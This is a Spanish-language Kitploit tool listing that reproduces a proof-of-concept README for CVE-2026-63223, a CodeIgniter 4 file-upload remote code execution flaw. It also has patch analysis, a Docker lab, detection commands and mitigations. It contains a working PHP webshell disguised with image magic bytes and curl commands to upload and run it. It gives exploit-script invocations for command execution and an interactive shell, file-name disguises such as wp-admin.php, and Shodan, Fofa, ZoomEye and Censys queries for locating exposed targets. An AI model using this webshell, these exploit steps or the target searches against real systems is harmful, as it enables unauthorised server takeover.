Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-63223-POC — PoC de CVE-2026-63223 — RCE de carga de archivos is_image/mime_in de CodeIgniter 4 (CVSS 9.8). Ejecución remota de código no autenticada mediante bypass de carga de archivos sin restricciones usando bytes mágicos de imagen. Corregido en v4.7.4. | Kitploit
Herramientas/GitHubGitHub/imbas007/cve-2026-63223-poc
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHub
imbas007/cve-2026-63223-poc

CVE-2026-63223-POC

PoC de CVE-2026-63223 — RCE de carga de archivos is_image/mime_in de CodeIgniter 4 (CVSS 9.8). Ejecución remota de código no autenticada mediante bypass de carga de archivos sin restricciones usando bytes mágicos de imagen. Corregido en v4.7.4.

Ver RepositorioSitio web
12hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-63223 PoC — RCE mediante subida de archivos en CodeIgniter 4

CVSS 9.8 (Crítico) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: Subida sin restricciones de un archivo con tipo peligroso
Corregido: CodeIgniter 4 v4.7.4
Aviso: GHSA-mmj4-63m4-r6h5


Resumen de la vulnerabilidad

Las reglas de validación de subida de archivos is_image y mime_in de CodeIgniter 4 inspeccionan únicamente el tipo MIME derivado del contenido (magic bytes), no la extensión del nombre de archivo proporcionada por el cliente.

Un atacante no autenticado puede anteponer magic bytes de imagen (GIF89a, \xFF\xD8\xFF\xE0, \x89PNG…) a un webshell PHP, nombrarlo , y este pasará la validación de o conservando una extensión ejecutable peligrosa. Cuando el archivo subido se almacena en un directorio accesible desde la web, el atacante logra .

shell.php
is_image
mime_in
ejecución remota de código arbitrario

Condiciones de activación (deben cumplirse las tres)

  1. La aplicación valida las subidas usando is_image o mime_in sin una verificación independiente de extensión (ext_in)
  2. El archivo subido se guarda usando el nombre de archivo proporcionado por el cliente (conservando la extensión .php)
  3. Las subidas se almacenan en un directorio accesible desde la web donde el servidor ejecuta PHP

Análisis del parche

La corrección en v4.7.4 añade dos nuevos métodos auxiliares y los integra en las reglas de validación:

is_image — Antes vs Después

root@kitploit:~
// BEFORE (vulnerable) — only checks MIME starts with "image/"
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
return true;

// AFTER (patched) — also checks extension is an image type
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
if ($this->hasInvalidImageClientExtension($file)) {  // ← NEW
    return false;
}
return true;

mime_in — Antes vs Después

root@kitploit:~
// BEFORE (vulnerable) — only checks MIME is in allowed list
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
return true;

// AFTER (patched) — also checks extension matches detected content
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
if ($this->hasMismatchedClientExtension($file)) {    // ← NEW
    return false;
}
return true;

Nuevos métodos auxiliares

root@kitploit:~
// Rejects when non-empty client extension is NOT an image type
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    return mb_strpos($type, 'image') !== 0;
}

// Rejects when client extension doesn't match detected content type
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    return $file->guessExtension() !== $clientExtension;
}

Idea clave: La corrección delega en los métodos existentes Mimes::guessTypeFromExtension() y $file->guessExtension(), añadiendo una segunda capa de validación. Las subidas sin extensión (p. ej. objetos Blob de JavaScript) todavía se aceptan.


Componentes del PoC

root@kitploit:~
CVE-2026-63223-POC/
├── README.md                    ← this file
├── Dockerfile                   ← vulnerable lab setup
├── docker-compose.yml           ← easy `docker compose up`
├── exploit/
│   └── exploit.py               ← Python exploit script
└── vulnerable-app/
    ├── app/Controllers/Upload.php    ← vulnerable controller
    ├── app/Config/Routes.php         ← routing
    └── app/Views/
        ├── upload_form_avatar.php    ← is_image bypass form
        ├── upload_form_doc.php       ← mime_in bypass form
        └── upload_form_safe.php      ← SAFE reference form

Inicio rápido — Laboratorio Docker

root@kitploit:~
# Build & start the vulnerable app
docker compose up -d

# Verify it's running
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"

# Open in browser
open http://localhost:8080/upload/avatar

Endpoints

EndpointVulnerabilidadValidación
/upload/avatarVULNERABLEsolo is_image
/upload/documentVULNERABLEsolo mime_in
/upload/safeSEGURO (control)is_image + ext_in

Explotación

Método 1 — Interactivo

root@kitploit:~
# Install dependency
pip install requests

# Single command execution
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"

# Interactive shell
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell

# Using mime_in vector (with PDF in allowed list, but PHP still passes)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"

Método 2 — Manual (curl)

root@kitploit:~
# Generate payload
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Verify it's recognized as an image by file(1)
file evil.php
# → evil.php: GIF image data

# Upload to vulnerable is_image endpoint
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar

# Execute
curl http://localhost:8080/uploads/evil.php?c=id

Método 3 — Diferentes disfraces MIME

root@kitploit:~
# JPEG variant (also passes is_image)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method jpg --filename wp-admin.php --cmd "ls -la /"

# PNG variant (also passes is_image, .phtml extension)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method png --filename config.phtml --shell

Por qué funciona

La superglobal $_FILES de PHP y el objeto UploadedFile de CodeIgniter contienen dos piezas de información separadas:

  1. type / getMimeType() — Derivado de los magic bytes del archivo (basado en el contenido), enviado por el navegador como parte Content-Type de la subida multipart
  2. name / getClientName() — El nombre de archivo original del cliente, incluida la extensión

Antes del parche, is_image y mime_in solo verificaban el punto 1. Un atacante envía:

root@kitploit:~
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif

GIF89a
<?php system($_REQUEST['c']); ?>
  • ✅ is_image ve image/gif → pasa
  • ✅ El archivo se guarda como shell.php (se conserva el nombre del cliente)
  • ✅ Apache/PHP-FPM ejecuta los archivos .php en el directorio de subidas → RCE

Después del parche, la extensión se verifica de forma cruzada:

  • ❌ hasInvalidImageClientExtension() ve .php → rechaza

Detección y búsqueda

Detección mediante logs / forense

Busca archivos PHP/PHTML/PHP5 con magic bytes de imagen en tu directorio de subidas:

root@kitploit:~
# Find PHP files that start with image headers
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'

# Or check raw bytes
xxd uploads/*.php | head

Búsquedas en Shodan

root@kitploit:~
# CodeIgniter 4 default welcome page
http.title:"Welcome to CodeIgniter"

# CI4 debug toolbar (exposed in development mode)
http.html:"debugbar_loader"

# CI4 default cookie / session fingerprint
http.component:"CodeIgniter"

# CI4-powered apps with file upload endpoints
http.title:"CodeIgniter" http.html:"upload"

# Broad search — any CI4 instance
"CodeIgniter" "X-Powered-By: PHP"

Búsquedas en Fofa

root@kitploit:~
# Default CodeIgniter 4 scaffold
body="CodeIgniter" && body="Welcome to"

# CI4 debug toolbar leaked (dev mode = more likely vulnerable)
body="debugbar_loader" && body="kint-rich"

# File upload forms on CI4
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"

# CI4 session fingerprint in Set-Cookie
header="ci_session"

# Broad CI4 detection
app="CodeIgniter Framework"

ZoomEye / Censys

root@kitploit:~
# ZoomEye
app:"CodeIgniter" +"file upload"

# Censys
services.http.response.body:"Welcome to CodeIgniter"

Mitigación

  1. Actualiza a CodeIgniter 4 v4.7.4 o superior
  2. Solución alternativa (si el parche se retrasa): Añade la regla ext_in junto a is_image/mime_in
  3. Defensa en profundidad:
    • Almacena las subidas fuera de la raíz web y sírvelas mediante un proxy con readfile()
    • Desactiva la ejecución de PHP en el directorio de subidas a nivel del servidor web:
      root@kitploit:~
      <Directory "/var/www/html/public/uploads">
          php_admin_flag engine off
      </Directory>
      
    • Genera nombres de archivo controlados por el servidor en lugar de conservar los nombres del cliente

Referencias

  • Aviso de seguridad de GitHub — GHSA-mmj4-63m4-r6h5
  • Commit de corrección — b6e9a4f
  • Versión v4.7.4
  • Análisis del IONIX Threat Center
  • Entrada de NVD

Aviso legal

Este PoC es solo para fines educativos y pruebas de seguridad autorizadas. La vulnerabilidad fue divulgada de forma responsable y ya está parcheada. No utilices esto contra sistemas que no poseas o para los que no tengas permiso explícito de prueba. Los autores no asumen ninguna responsabilidad por el mal uso.

Descargar herramienta